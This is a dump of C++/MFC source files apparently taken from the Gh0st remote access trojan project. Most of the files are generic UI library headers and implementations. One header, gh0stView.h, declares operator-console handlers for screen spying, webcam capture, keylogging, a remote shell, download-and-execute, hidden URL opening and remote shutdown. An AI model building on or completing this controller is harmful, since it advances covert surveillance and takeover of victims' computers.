virtual BOOL OnMeasureItem(LPMEASUREITEMSTRUCT lpms);
virtual BOOL OnDrawItem(LPDRAWITEMSTRUCT lpds);
virtual LONG OnMenuChar(UINT nChar, UINT nFlags, CMenu* pMenu);
virtual void OnMenuSelect(UINT nItemID, UINT nFlags, HMENU hSysMenu);
};
//////////////////
// Friendly version of MENUITEMINFO initializes itself
//
struct CMenuItemInfo : public MENUITEMINFO {
CMenuItemInfo()
{ memset(this, 0, sizeof(MENUITEMINFO));
cbSize = sizeof(MENUITEMINFO);
}
};
#endif // __COOLMENU_H__ | 07321-rat | trunk/gh0st/CJ60Lib/Include/CoolMenu.h | C++ | asf20 | 6,000 |
// CJControlBar.h : header file
//
// DevStudio Style Resizable Docking Control Bar.
//
// Copyright ?1998-99 Kirk Stowell
// mailto:kstowell@codejockeys.com
// http://www.codejockeys.com/kstowell/
//
// This source code may be used in compiled form in any way you desire.
// Source file(s) may be redistributed unmodified by any means PROVIDING
// they are not sold for profit without the authors expressed written consent,
// and providing that this notice and the authors name and all copyright
// notices remain intact. If the source code is used in any commercial
// applications then a statement along the lines of:
//
// "Portions Copyright ?1998-99 Kirk Stowell" must be included in the
// startup banner, "About" box or printed documentation. An email letting
// me know that you are using it would be nice as well. That's not much to ask
// considering the amount of work that went into this.
//
// This software is provided "as is" without express or implied warranty. Use
// it at your own risk! The author accepts no liability for any damage/loss of
// business that this product may cause.
//
// ==========================================================================
//
// Acknowledgements:
// <> Many thanks to all of you, who have encouraged me to update my articles
// and code, and who sent in bug reports and fixes.
// <> Many thanks Zafir Anjum (zafir@codeguru.com) for the tremendous job that
// he has done with codeguru, enough can not be said!
// <> Many thanks to Microsoft for making the source code availiable for MFC.
// Since most of this work is a modification from existing classes and
// methods, this library would not have been possible.
//
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.00 17 Oct 1998 - Initial re-write and release.
// 1.01 20 Oct 1998 - Fixed problem with gripper and buttons
// disappearing when docking toggled. Overloaded
// IsFloating() method from base class.
// 1.02 22 Nov 1998 - Modified set cursor to display normal size
// cursor when static linked.
// 2.00 12 Jan 1999 - Total class re-write, added multiple/side-by-side
// controlbar docking. No longer uses CSizingControlBar
// base class.
// 2.01 31 Jan 1999 - Removed extra line (typo) from OnLButtonUp().
// Thanks to Ioannis Stamatopoulos (ystamat@mail.datamedia.gr)
// for pointing this out.
// 2.02 28 Feb 1999 - Calls default wnd proc if no context menu is defined
// Gonzalo Pereyra [persys@adinet.com.uy]
// 2.03 10 Mar 1999 - Added AfxRegisterWndClass() to create method to
// handle double clicks. Thanks to Takehiko Mizoguti [mizoguti@m2.sys.to.casio.co.jp]
// for some thoughts on this.
// - Fixed memory leak with button tooltips.
// 2.04 13 Mar 1999 - Patrick Bergeron [patb@softimage.com] fixed the
// following bugs:
//
// - I had a dialog nested in a CJControlBar. Unfortunately
// when I tried to dock it to the left or right, the
// bottom part of my dialog would be clipped off.
//
// Fix: When in docked mode, ::CalcDynamicLayout needed
// to return the desired size, while taking into account
// the size of the gripper bar (if any). Simply added a
// simple "+GetMinExt()" Now my dialog's bottom doesn't
// get clipped. Woo-ha.
//
// - When nesting a CDialog based window inside a
// CJControlBar, the 3D rect drawn by ::OnEraseBkgnd would
// be overwritten by the top and left dialog borders. The
// problem was caused by the fact that in the
// ::OnWindowPosChanged() method, the rectangle which is
// used to move the window contains the border.
//
// A simple call to rc.DeflateRect(1,1) solved this problem.
//
// - Added a call to UpdateWindow() in ::OnEraseBkgnd().
// This helps with the flickering a bit, but I Am not sure
// this is the correct way to go. Incorporate at your own risks.
//
// - Added 2 ASSERT()s in ::OnMouseMove(). This was not to
// fix a bug, but at one point I was seeing strange things
// that lead me to add these asserts. They don't do
// anything bad, so why remove them?
//
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#ifndef __CJCONTROLBAR_H__
#define __CJCONTROLBAR_H__
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
#include "CJFlatButton.h"
/////////////////////////////////////////////////////////////////////////////
// CCJControlBar class
class AFX_EXT_CLASS CCJControlBar : public CControlBar
{
DECLARE_DYNAMIC(CCJControlBar)
// Construction
public:
CCJControlBar();
// Attributes
public:
BOOL m_bUnique;
BOOL m_bToFit;
protected:
int m_iTrackBorderSize;
int m_cxOffset;
int m_cyOffset;
UINT m_iAuxImage;
UINT m_menuID;
BOOL m_bOkToDrag;
BOOL m_bMaximized;
BOOL m_bDragging;
BOOL m_bGripper;
BOOL m_bButtons;
CRect m_rcTrack;
CSize m_sizeNormal;
CSize m_sizeDesired;
CPoint m_ptCurDrag;
CPoint m_ptStartDrag;
HCURSOR m_curHSplitBar;
HCURSOR m_curVSplitBar;
CWnd* m_pChildWnd;
CImageList m_ImageList;
CCJFlatButton m_btnClose;
CCJFlatButton m_btnMinim;
CToolTipCtrl m_ToolTip;
COLORREF m_clrBtnHilite;
COLORREF m_clrBtnShadow;
COLORREF m_clrBtnFace;
// Operations
public:
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CCJControlBar)
public:
virtual BOOL Create(CWnd* pParentWnd, UINT nID, LPCTSTR lpszWindowName = NULL, CSize sizeDefault = CSize(200,100), DWORD dwStyle = CBRS_LEFT);
virtual BOOL PreTranslateMessage(MSG* pMsg);
virtual void OnUpdateCmdUI(CFrameWnd* pTarget, BOOL bDisableIfNoHndler);
virtual CSize CalcDynamicLayout(int nLength, DWORD nMode);
//}}AFX_VIRTUAL
// Implementation
public:
virtual ~CCJControlBar();
// Generated message map functions
protected:
//{{AFX_MSG(CCJControlBar)
afx_msg void OnNcPaint();
afx_msg void OnPaint();
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
afx_msg LRESULT OnNcHitTest(CPoint point);
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg void OnSysColorChange();
afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
afx_msg void OnWindowPosChanged(WINDOWPOS FAR* lpwndpos);
afx_msg void OnContextMenu(CWnd* pWnd, CPoint point);
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
afx_msg void OnButtonClose();
afx_msg void OnUpdateButtonClose(CCmdUI* pCmdUI);
afx_msg void OnButtonMinimize();
afx_msg void OnUpdateButtonMinimize(CCmdUI* pCmdUI);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
public:
virtual void GetChildRect(CRect &rect);
int GetMinExt();
BOOL IsLeftDocked();
BOOL IsRightDocked();
BOOL IsTopDocked();
BOOL IsBottomDocked();
BOOL IsHorzDocked();
BOOL IsVertDocked();
void SetNormalSize(const CSize &cs);
void Normalize();
void Minimize();
void Maximize(int size);
void EnableDockingOnSizeBar(DWORD dwDockStyle);
void ShowFrameControls(BOOL bGripper = TRUE, BOOL bButtons = TRUE);
void SetMenuID(UINT nID);
UINT GetMenuID();
protected:
CRect GetGripperRect();
CRect GetButtonRect();
void DrawGripper(CDC* pDC);
void SetChild(CWnd* pWnd);
void OnInvertTracker(const CRect& rect);
void HitTest(CPoint &point);
virtual void DrawBorders(CDC *pDC, CRect &rect);
void EraseNonClient();
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Developer Studio will insert additional declarations immediately before the previous line.
#endif // __CJCONTROLBAR_H__
| 07321-rat | trunk/gh0st/CJ60Lib/Include/CJControlBar.h | C++ | asf20 | 8,256 |
// HyperLink.h : header file
//
//
// HyperLink static control. Will open the default browser with the given URL
// when the user clicks on the link.
//
// Copyright Chris Maunder, 1997
// Feel free to use and distribute. May not be sold for profit.
#ifndef __HYPERLINK_H__
#define __HYPERLINK_H__
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
/////////////////////////////////////////////////////////////////////////////
// CHyperLink window
class AFX_EXT_CLASS CHyperLink : public CStatic
{
// Construction/destruction
public:
CHyperLink();
virtual ~CHyperLink();
// Attributes
public:
// Operations
public:
void SetURL(CString strURL);
CString GetURL() const;
void SetColours(COLORREF crLinkColour, COLORREF crVisitedColour,
COLORREF crHoverColour = -1);
COLORREF GetLinkColour() const;
COLORREF GetVisitedColour() const;
COLORREF GetHoverColour() const;
void SetVisited(BOOL bVisited = TRUE);
BOOL GetVisited() const;
void SetLinkCursor(HCURSOR hCursor);
HCURSOR GetLinkCursor() const;
void SetUnderline(BOOL bUnderline = TRUE);
BOOL GetUnderline() const;
void SetAutoSize(BOOL bAutoSize = TRUE);
BOOL GetAutoSize() const;
HINSTANCE GotoURL(LPCTSTR url, int showcmd);
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CHyperLink)
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void PreSubclassWindow();
//}}AFX_VIRTUAL
// Implementation
protected:
void ReportError(int nError);
LONG GetRegKey(HKEY key, LPCTSTR subkey, LPTSTR retdata);
void PositionWindow();
void SetDefaultCursor();
// Protected attributes
protected:
COLORREF m_crLinkColour, m_crVisitedColour; // Hyperlink colours
COLORREF m_crHoverColour; // Hover colour
BOOL m_bOverControl; // cursor over control?
BOOL m_bVisited; // Has it been visited?
BOOL m_bUnderline; // underline hyperlink?
BOOL m_bAdjustToFit; // Adjust window size to fit text?
CString m_strURL; // hyperlink URL
CFont m_Font; // Underline font if necessary
HCURSOR m_hLinkCursor; // Cursor for hyperlink
CToolTipCtrl m_ToolTip; // The tooltip
// Generated message map functions
protected:
//{{AFX_MSG(CHyperLink)
afx_msg HBRUSH CtlColor(CDC* pDC, UINT nCtlColor);
afx_msg BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
//}}AFX_MSG
afx_msg void OnClicked();
DECLARE_MESSAGE_MAP()
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Developer Studio will insert additional declarations immediately before the previous line.
#endif // __HYPERLINK_H__
| 07321-rat | trunk/gh0st/CJ60Lib/Include/hyperlink.h | C++ | asf20 | 3,170 |
#ifndef __CJTABVIEW_H__
#define __CJTABVIEW_H__
////////////////////////////////////////////////////////////////
// Copyright 1999 Mike Manzo
// Class: CCJTabView
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.00 14 Feb 1999 - Initial release.
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// CJTabView.h : header file
//
typedef struct
{
CWnd *pWnd;
char szLabel[32];
}CTV_ITEM;
#define TABVIEW_BORDER 3
typedef CList <CTV_ITEM*, CTV_ITEM *> CListViews;
/////////////////////////////////////////////////////////////////////////////
// CCJTabView window
class AFX_EXT_CLASS CCJTabView : public CCtrlView
{
// Construction
protected:
CCJTabView();
DECLARE_DYNCREATE(CCJTabView)
// Attributes
public:
// Operations
public:
BOOL AddView(LPCTSTR lpszLabel, CRuntimeClass *pViewClass, CDocument* pDoc = NULL, CCreateContext *pContext = NULL);
BOOL ModifyTabStyle(DWORD dwRemove, DWORD dwAdd, UINT nFlags=0);
void SetActiveView(CRuntimeClass *pViewClass);
void SetActiveView(int nNewTab);
void RemoveView(int nView);
CView* GetView(CRuntimeClass *pViewClass);
CView* GetView(int nView);
CView* GetActiveView();
CImageList* SetTabImageList(CImageList *pImageList);
CTabCtrl* GetTabCtrl() {return m_pTabCtrl;}
protected:
CView* m_pActiveView;
int m_nActiveTab;
CTabCtrl* m_pTabCtrl;
CToolTipCtrl* m_pToolTip;
CFont m_TabFont;
CListViews m_views;
private:
void CalcViewRect(CRect* pRect);
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CCJTabView)
public:
virtual void OnInitialUpdate();
//}}AFX_VIRTUAL
public:
virtual void GetChildRect(CRect &rect);
// Implementation
public:
virtual ~CCJTabView();
// Generated message map functions
protected:
//{{AFX_MSG(CCJTabView)
afx_msg void OnWindowPosChanged(WINDOWPOS FAR* lpwndpos);
afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
afx_msg void OnSelchange(NMHDR* pNMHDR, LRESULT* pResult);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // __CJTABVIEW_H__
| 07321-rat | trunk/gh0st/CJ60Lib/Include/CJTabView.h | C++ | asf20 | 2,610 |
/////////////////////////////////////////////////////////////////////////////
// TrayIcon.h : header file
//
#ifndef _INCLUDED_TRAYICON_H_
#define _INCLUDED_TRAYICON_H_
/////////////////////////////////////////////////////////////////////////////
// CTrayIcon window
class CTrayIcon : public CObject
{
// Construction/destruction
public:
CTrayIcon();
CTrayIcon(CWnd* pWnd, UINT uCallbackMessage, LPCTSTR szTip, HICON icon, UINT uID);
virtual ~CTrayIcon();
// Operations
public:
BOOL Enabled() { return m_bEnabled; }
BOOL Visible() { return !m_bHidden; }
//Create the tray icon
int Create(CWnd* pWnd, UINT uCallbackMessage, LPCTSTR szTip, HICON icon, UINT uID, BOOL bIsNotify = FALSE);
//Change or retrieve the Tooltip text
BOOL SetTooltipText(LPCTSTR pszTooltipText);
BOOL SetTooltipText(UINT nID);
CString GetTooltipText() const;
//Change or retrieve the icon displayed
BOOL SetIcon(HICON hIcon);
BOOL SetIcon(LPCTSTR lpIconName);
BOOL SetIcon(UINT nIDResource);
BOOL SetStandardIcon(LPCTSTR lpIconName);
BOOL SetStandardIcon(UINT nIDResource);
HICON GetIcon() const;
void HideIcon();
void ShowIcon();
void RemoveIcon();
void MoveToRight();
//Change or retrieve the window to send notification messages to
BOOL SetNotificationWnd(CWnd* pNotifyWnd);
CWnd* GetNotificationWnd() const;
//Default handler for tray notification message
virtual LRESULT OnTrayNotification(WPARAM uID, LPARAM lEvent);
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CTrayIcon)
//}}AFX_VIRTUAL
// Implementation
protected:
BOOL m_bEnabled; // does O/S support tray icon?
BOOL m_bHidden; // Has the icon been hidden?
BOOL m_bNotify; // Has Notify style?
NOTIFYICONDATA m_tnd;
DECLARE_DYNAMIC(CTrayIcon)
};
#endif
/////////////////////////////////////////////////////////////////////////////
| 07321-rat | trunk/gh0st/TrayIcon.h | C++ | asf20 | 1,941 |
#pragma once
/**********************************************************************
**
** ThemeUtil.h : include file
**
** by Andrzej Markowski June 2004
**
**********************************************************************/
#include "TmSchema.h"
#define THM_WM_THEMECHANGED 0x031A
typedef struct _MY_MARGINS
{
int cxLeftWidth;
int cxRightWidth;
int cyTopHeight;
int cyBottomHeight;
} MY_MARGINS;
class CThemeUtil
{
public:
CThemeUtil();
virtual ~CThemeUtil();
BOOL OpenThemeData(HWND hWnd, LPCWSTR pszClassList);
void CloseThemeData();
BOOL DrawThemePart(HDC hdc, int iPartId, int iStateId, const RECT *pRect);
BOOL GetThemeColor(int iPartId, int iStateId, int iPropId, const COLORREF *pColor);
BOOL GetThemeInt(int iPartId, int iStateId, int iPropId, const int *piVal);
BOOL GetThemeMargins(int iPartId, int iStateId, int iPropId, const MY_MARGINS *pMargins);
BOOL GetThemeEnumValue(int iPartId, int iStateId, int iPropId, const int *piVal);
BOOL GetThemeFilename(int iPartId, int iStateId, int iPropId,
OUT LPWSTR pszThemeFileName, int cchMaxBuffChars);
BOOL GetCurrentThemeName(OUT LPWSTR pszThemeFileName, int cchMaxNameChars,
OUT OPTIONAL LPWSTR pszColorBuff, int cchMaxColorChars,
OUT OPTIONAL LPWSTR pszSizeBuff, int cchMaxSizeChars);
HBITMAP LoadBitmap(LPWSTR pszBitmapName);
private:
BOOL IsWinXP(void);
void FreeLibrary();
private:
HINSTANCE m_hUxThemeDll;
HINSTANCE m_hRcDll;
UINT m_hTheme;
};
| 07321-rat | trunk/gh0st/ThemeUtil.h | C++ | asf20 | 1,524 |
/**********************************************************************
**
** TabSDIFrameWnd.h : include file
**
** by Andrzej Markowski July 2005
**
**********************************************************************/
#pragma once
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "stdafx.h"
#include "CustomTabCtrl.h"
#define IDC_TABCTRL 100
/////////////////////////////////////////////////////////////////////////////
// CTabSDIFrameWnd frame
class CTabSDIFrameWnd : public CFrameWnd
{
DECLARE_DYNCREATE(CTabSDIFrameWnd)
protected:
CTabSDIFrameWnd(); // protected constructor used by dynamic creation
// Attributes
public:
// Operations
public:
CCustomTabCtrl& GetTabCtrl() {return m_wndTab;}
BOOL AddView(CString sLabel, CView* pView, CString sTooltip);
void DeleteContents();
BOOL DeleteActiveView();
BOOL SetCurView(int nNdx);
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CTabSDIFrameWnd)
//}}AFX_VIRTUAL
// Implementation
protected:
virtual ~CTabSDIFrameWnd();
// Generated message map functions
//{{AFX_MSG(CTabSDIFrameWnd)
// NOTE - the ClassWizard will add and remove member functions here.
//}}AFX_MSG
afx_msg void OnSelchangeTabctrl(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnClickTabctrl(NMHDR* pNMHDR, LRESULT* pResult);
DECLARE_MESSAGE_MAP()
protected:
CCustomTabCtrl m_wndTab;
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
| 07321-rat | trunk/gh0st/TabSDIFrameWnd.h | C++ | asf20 | 1,669 |
// gh0stView.h : interface of the CGh0stView class
//
/////////////////////////////////////////////////////////////////////////////
#if !defined(AFX_GH0STVIEW_H__14553897_2664_48B4_A82B_6D6F8F789ED3__INCLUDED_)
#define AFX_GH0STVIEW_H__14553897_2664_48B4_A82B_6D6F8F789ED3__INCLUDED_
#include "gh0stDoc.h"
#include "SEU_QQwry.h" // Added by ClassView
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CGh0stDoc;
struct ClientContext;
#define CListView CCJListView
class CGh0stView : public CListView
{
protected: // create from serialization only
CGh0stView();
DECLARE_DYNCREATE(CGh0stView)
// Attributes
public:
CGh0stDoc* GetDocument();
// Operations
public:
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CGh0stView)
public:
virtual void OnDraw(CDC* pDC); // overridden to draw this view
virtual BOOL PreCreateWindow(CREATESTRUCT& cs);
protected:
virtual void OnInitialUpdate(); // called first time after construct
//}}AFX_VIRTUAL
// Implementation
public:
CIOCPServer* m_iocpServer;
CImageList m_ImageList;
int m_nCount;
virtual ~CGh0stView();
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif
protected:
// Generated message map functions
protected:
//{{AFX_MSG(CGh0stView)
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnRButtonDown(UINT nFlags, CPoint point);
afx_msg void OnFilemanager();
afx_msg void OnScreenspy();
afx_msg void OnDownexec();
afx_msg void OnWebcam();
afx_msg void OnRemove();
afx_msg void OnKeyboard();
afx_msg void OnSystem();
afx_msg void OnRemoteshell();
afx_msg void OnLogoff();
afx_msg void OnReboot();
afx_msg void OnShutdown();
afx_msg void OnSelectAll();
afx_msg void OnUnselectAll();
afx_msg void OnOpenUrlHide();
afx_msg void OnOpenUrlShow();
afx_msg void OnCleanevent();
afx_msg void OnRenameRemark();
afx_msg void OnUpdateServer();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
private:
CListCtrl *m_pListCtrl;
SEU_QQwry *m_QQwry;
void SendSelectCommand(PBYTE pData, UINT nSize);
afx_msg LRESULT OnMyInitialUpdate(WPARAM /*wParam*/, LPARAM /*lParam*/);
afx_msg LRESULT OnOpenManagerDialog(WPARAM /*wParam*/, LPARAM /*lParam*/);
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenWebCamDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenKeyBoardDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenShellDialog(WPARAM, LPARAM);
afx_msg LRESULT OnRemoveFromList(WPARAM, LPARAM);
afx_msg LRESULT OnAddToList(WPARAM, LPARAM);
};
#ifndef _DEBUG // debug version in gh0stView.cpp
inline CGh0stDoc* CGh0stView::GetDocument()
{ return (CGh0stDoc*)m_pDocument; }
#endif
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_GH0STVIEW_H__14553897_2664_48B4_A82B_6D6F8F789ED3__INCLUDED_)
| 07321-rat | trunk/gh0st/gh0stView.h | C++ | asf20 | 3,132 |
/**********************************************************************
**
** TabSDIFrameWnd.cpp : implementation file of CTabSDIFrameWnd class
**
** by Andrzej Markowski July 2005
**
**********************************************************************/
#include "stdafx.h"
#include "TabSDIFrameWnd.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CTabSDIFrameWnd
IMPLEMENT_DYNCREATE(CTabSDIFrameWnd, CFrameWnd)
CTabSDIFrameWnd::CTabSDIFrameWnd()
{
}
CTabSDIFrameWnd::~CTabSDIFrameWnd()
{
}
BEGIN_MESSAGE_MAP(CTabSDIFrameWnd, CFrameWnd)
//{{AFX_MSG_MAP(CTabSDIFrameWnd)
// NOTE - the ClassWizard will add and remove mapping macros here.
//}}AFX_MSG_MAP
ON_NOTIFY(CTCN_SELCHANGE, IDC_TABCTRL, OnSelchangeTabctrl)
ON_NOTIFY(CTCN_CLICK, IDC_TABCTRL, OnClickTabctrl)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CTabSDIFrameWnd message handlers
void CTabSDIFrameWnd::OnSelchangeTabctrl(NMHDR* pNMHDR, LRESULT* pResult)
{
SetCurView(((CTC_NMHDR*)pNMHDR)->nItem);
*pResult = 0;
}
void CTabSDIFrameWnd::OnClickTabctrl(NMHDR* pNMHDR, LRESULT* pResult)
{
if(((CTC_NMHDR*)pNMHDR)->nItem==CTCHT_ONCLOSEBUTTON)
DeleteActiveView();
*pResult = 0;
}
BOOL CTabSDIFrameWnd::AddView(CString sLabel, CView *pView, CString sTooltip)
{
CDocument* pDoc = GetActiveDocument();
CString sTitle = pDoc->GetTitle();
int nOldSel = m_wndTab.GetCurSel();
int nCurSel = m_wndTab.InsertItem(m_wndTab.GetItemCount(),sLabel,(DWORD)pView);
m_wndTab.SetCurSel(nCurSel);
m_wndTab.SetItemTooltipText(nCurSel,sTooltip);
if(nOldSel>=0)
{
DWORD pViewRemove;
m_wndTab.GetItemData(nOldSel,pViewRemove);
pView->SetDlgCtrlID(AFX_IDW_PANE_FIRST);
((CView*)pViewRemove)->SetDlgCtrlID(AFX_IDW_PANE_FIRST+1);
pView->ShowWindow(SW_SHOW);
((CView*)pViewRemove)->ShowWindow(SW_HIDE);
pDoc->AddView(pView);
pDoc->RemoveView((CView*)pViewRemove);
SetActiveView(pView);
RecalcLayout();
pDoc->SetTitle(sTitle);
}
return TRUE;
}
BOOL CTabSDIFrameWnd::DeleteActiveView()
{
if(m_wndTab.GetItemCount()<2)
return FALSE;
CDocument* pDoc = GetActiveDocument();
CString sTitle = pDoc->GetTitle();
CView* pViewRemove = GetActiveView();
for(int i=0; i<m_wndTab.GetItemCount(); i++)
{
DWORD dwData;
m_wndTab.GetItemData(i,dwData);
if(dwData==(DWORD)pViewRemove)
{
m_wndTab.DeleteItem(i);
m_wndTab.GetItemData(m_wndTab.GetCurSel(),dwData);
CView* pView = (CView*)dwData;
pView->SetDlgCtrlID(AFX_IDW_PANE_FIRST);
pViewRemove->SetDlgCtrlID(AFX_IDW_PANE_FIRST+1);
pView->ShowWindow(SW_SHOW);
pViewRemove->ShowWindow(SW_HIDE);
pDoc->AddView(pView);
pDoc->RemoveView(pViewRemove);
SetActiveView(pView);
pViewRemove->DestroyWindow();
RecalcLayout();
pDoc->SetTitle(sTitle);
return TRUE;
}
}
return FALSE;
}
void CTabSDIFrameWnd::DeleteContents()
{
for(int i=0; i<m_wndTab.GetItemCount(); i++)
{
DWORD dwView;
m_wndTab.GetItemData(i,dwView);
if(GetActiveView()!=(CView*)dwView)
((CView*)dwView)->DestroyWindow();
}
m_wndTab.DeleteAllItems();
}
BOOL CTabSDIFrameWnd::SetCurView(int nNdx)
{
if(nNdx>=0 && nNdx<m_wndTab.GetItemCount())
{
if(nNdx!=m_wndTab.GetCurSel())
m_wndTab.SetCurSel(nNdx);
DWORD dwData;
m_wndTab.GetItemData(nNdx,dwData);
CDocument* pDoc = GetActiveDocument();
CString sTitle = pDoc->GetTitle();
CView* pView = (CView*)dwData;
CView* pViewRemove = GetActiveView();
if(pView==pViewRemove)
{
pView->ShowWindow(SW_HIDE);
pView->ShowWindow(SW_SHOW);
return TRUE;
}
pView->SetDlgCtrlID(AFX_IDW_PANE_FIRST);
pViewRemove->SetDlgCtrlID(AFX_IDW_PANE_FIRST+1);
pView->ShowWindow(SW_SHOW);
pViewRemove->ShowWindow(SW_HIDE);
pDoc->AddView(pView);
pDoc->RemoveView(pViewRemove);
SetActiveView(pView);
RecalcLayout();
pDoc->SetTitle(sTitle);
return TRUE;
}
return FALSE;
}
| 07321-rat | trunk/gh0st/TabSDIFrameWnd.cpp | C++ | asf20 | 4,179 |
#if !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_)
#define AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// FileTransferModeDlg.h : header file
//
/////////////////////////////////////////////////////////////////////////////
// CFileTransferModeDlg dialog
class CFileTransferModeDlg : public CDialog
{
// Construction
public:
CString m_strFileName;
CFileTransferModeDlg(CWnd* pParent = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CFileTransferModeDlg)
enum { IDD = IDD_TRANSFERMODE_DLG };
// NOTE: the ClassWizard will add data members here
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CFileTransferModeDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
// Generated message map functions
//{{AFX_MSG(CFileTransferModeDlg)
afx_msg void OnEndDialog(UINT id);
virtual BOOL OnInitDialog();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_)
| 07321-rat | trunk/gh0st/FileTransferModeDlg.h | C++ | asf20 | 1,392 |
/***=========================================================================
==== ====
==== D C U t i l i t y ====
==== ====
=============================================================================
==== ====
==== File name : TrueColorToolBar.cpp ====
==== Project name : Tester ====
==== Project number : --- ====
==== Creation date : 13/1/2003 ====
==== Author(s) : Dany Cantin ====
==== ====
==== Copyright ?DCUtility 2003 ====
==== ====
=============================================================================
===========================================================================*/
#include "stdafx.h"
#include "TrueColorToolBar.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CTrueColorToolBar
CTrueColorToolBar::CTrueColorToolBar()
{
m_bDropDown = FALSE;
}
CTrueColorToolBar::~CTrueColorToolBar()
{
}
BEGIN_MESSAGE_MAP(CTrueColorToolBar, CToolBar)
//{{AFX_MSG_MAP(CTrueColorToolBar)
ON_NOTIFY_REFLECT(TBN_DROPDOWN, OnToolbarDropDown)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CTrueColorToolBar message handlers
BOOL CTrueColorToolBar::LoadTrueColorToolBar(int nBtnWidth,
UINT uToolBar,
UINT uToolBarHot,
UINT uToolBarDisabled)
{
if (!SetTrueColorToolBar(TB_SETIMAGELIST, uToolBar, nBtnWidth))
return FALSE;
if (uToolBarHot) {
if (!SetTrueColorToolBar(TB_SETHOTIMAGELIST, uToolBarHot, nBtnWidth))
return FALSE;
}
if (uToolBarDisabled) {
if (!SetTrueColorToolBar(TB_SETDISABLEDIMAGELIST, uToolBarDisabled, nBtnWidth))
return FALSE;
}
return TRUE;
}
BOOL CTrueColorToolBar::SetTrueColorToolBar(UINT uToolBarType,
UINT uToolBar,
int nBtnWidth)
{
CImageList cImageList;
CBitmap cBitmap;
BITMAP bmBitmap;
if (!cBitmap.Attach(LoadImage(AfxGetResourceHandle(), MAKEINTRESOURCE(uToolBar),
IMAGE_BITMAP, 0, 0,
LR_DEFAULTSIZE|LR_CREATEDIBSECTION)) ||
!cBitmap.GetBitmap(&bmBitmap))
return FALSE;
CSize cSize(bmBitmap.bmWidth, bmBitmap.bmHeight);
int nNbBtn = cSize.cx/nBtnWidth;
RGBTRIPLE* rgb = (RGBTRIPLE*)(bmBitmap.bmBits);
COLORREF rgbMask = RGB(rgb[0].rgbtRed, rgb[0].rgbtGreen, rgb[0].rgbtBlue);
if (!cImageList.Create(nBtnWidth, cSize.cy, ILC_COLOR24|ILC_MASK, nNbBtn, 0))
return FALSE;
if (cImageList.Add(&cBitmap, rgbMask) == -1)
return FALSE;
SendMessage(uToolBarType, 0, (LPARAM)cImageList.m_hImageList);
cImageList.Detach();
cBitmap.Detach();
return TRUE;
}
